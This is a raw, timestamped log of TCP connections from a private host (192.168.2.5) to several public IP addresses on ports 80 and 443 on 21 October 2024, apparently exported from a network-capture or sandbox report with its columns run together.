                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.333981037 CEST49737443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.333987951 CEST4434973735.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.334124088 CEST49737443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.334278107 CEST4434973735.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.334400892 CEST49737443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.792139053 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.796678066 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.797107935 CEST804974546.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.797473907 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.801573038 CEST804974634.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.801640034 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.801768064 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.806631088 CEST804974634.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:24.406963110 CEST804974634.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:24.512129068 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.938231945 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.943072081 CEST804974546.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.101445913 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103432894 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103457928 CEST4434976434.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103667021 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.105092049 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.105107069 CEST4434976434.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.105698109 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.105748892 CEST4434976534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.106025934 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.106271029 CEST804976334.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.107522964 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.107537031 CEST4434976534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.110867023 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.110984087 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.115725994 CEST804976334.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.197259903 CEST804974546.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.238107920 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.706484079 CEST804976334.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.733226061 CEST4434976534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.733319998 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.736116886 CEST4434976434.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.736233950 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.751110077 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.917510986 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.917536974 CEST4434976434.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.917840004 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.917871952 CEST4434976434.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.918041945 CEST49764443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.919579029 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.919601917 CEST4434976534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.919641018 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.919832945 CEST4434976534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.919886112 CEST49765443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.927289009 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.927328110 CEST4434977234.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.933669090 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.935035944 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.935064077 CEST4434977234.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.935445070 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.935492992 CEST4434977334.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.937843084 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.940241098 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.940257072 CEST4434977334.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.124360085 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.124408960 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.137139082 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.138669968 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.138684034 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.551332951 CEST4434977234.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.551614046 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.555181026 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.555195093 CEST4434977234.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.555363894 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.555480003 CEST4434977234.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.555610895 CEST49772443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.563894987 CEST4434977334.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.563983917 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.567624092 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.567632914 CEST4434977334.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.567715883 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.567995071 CEST4434977334.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.568120956 CEST49773443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.742366076 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.742383003 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.744330883 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.747483015 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.747493982 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.747737885 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.750181913 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.750286102 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.750339985 CEST4434977435.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.750431061 CEST49774443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.017893076 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.017951965 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.018723965 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.018723965 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.018764973 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.048703909 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.048727989 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.048749924 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.054250956 CEST804976334.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.054651022 CEST804974634.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.054702044 CEST804974546.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.055378914 CEST4976380192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.055403948 CEST4974580192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.055403948 CEST4974680192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.622967005 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.623047113 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.013330936 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.013376951 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.014180899 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.014229059 CEST4434978734.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.014403105 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.016212940 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.016310930 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.016639948 CEST4434978034.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.016640902 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.016688108 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.019259930 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.019278049 CEST49780443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.019399881 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.019403934 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.022090912 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.022111893 CEST4434978734.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.022334099 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.022346973 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.149802923 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.154850960 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.161179066 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.161535978 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.166378021 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.628118992 CEST4434978734.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.639170885 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.644730091 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645236969 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645246029 CEST4434978734.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645348072 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645452023 CEST4434978734.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645824909 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.645874023 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.654161930 CEST49787443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.654198885 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.654211044 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.659024000 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.659054041 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.659332037 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.660830975 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.660850048 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.664165020 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.664244890 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.664314985 CEST4434978834.160.144.191192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.669152021 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.669152021 CEST49788443192.168.2.534.160.144.191
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.708501101 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.713458061 CEST804979646.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.730118990 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.730742931 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.735531092 CEST804979646.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.761235952 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.819186926 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.282614946 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.282629967 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.282702923 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.492362976 CEST804979646.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.526889086 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.526904106 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.526973009 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.527126074 CEST4434979534.117.188.166192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.527179956 CEST49795443192.168.2.534.117.188.166
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.533135891 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.182694912 CEST4980280192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.187536001 CEST804980234.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.187596083 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.188594103 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.188616037 CEST4434980334.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.189049006 CEST4980280192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.189120054 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.189220905 CEST4980280192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.190618038 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.190629005 CEST4434980334.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.192502975 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.193964005 CEST804980234.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.312844038 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.366123915 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.430494070 CEST4980280192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.476171017 CEST804980234.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.661573887 CEST804980234.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.661899090 CEST4980280192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.799118042 CEST4434980334.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.799232960 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.802828074 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.802828074 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.802840948 CEST4434980334.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.803121090 CEST4434980334.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.803299904 CEST49803443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.051460981 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.056474924 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.056540012 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.056700945 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.062046051 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.581588984 CEST804979646.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.584455013 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.584522009 CEST4979680192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.589277983 CEST804979646.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.651025057 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.696124077 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.063374996 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.068300962 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.188757896 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:36.238101959 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:37.967323065 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:37.972486019 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:38.092111111 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:38.136106014 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.422758102 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.422851086 CEST4434986134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.422982931 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.424443007 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.424479008 CEST4434986134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.641314983 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.643265009 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.643302917 CEST4434986634.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.644195080 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.645612955 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.645632029 CEST4434986634.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.646320105 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672074080 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672105074 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672215939 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672873974 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672888994 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.767473936 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.826121092 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.039625883 CEST4434986134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.039712906 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.043679953 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.043695927 CEST4434986134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.043786049 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.043982029 CEST4434986134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.044038057 CEST49861443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.258832932 CEST4434986634.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.259064913 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.263851881 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.263902903 CEST4434986634.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.263936996 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.264045000 CEST4434986634.107.243.93192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.266150951 CEST49866443192.168.2.534.107.243.93
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.267060041 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.272017956 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.275774002 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.275799990 CEST4434986934.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.275957108 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.277286053 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.277302027 CEST4434986934.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.277970076 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.279086113 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.281749964 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.281759977 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.282078028 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.284181118 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.284288883 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.284362078 CEST4434986735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.284764051 CEST49867443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.377701044 CEST4978980192.168.2.534.107.221.82
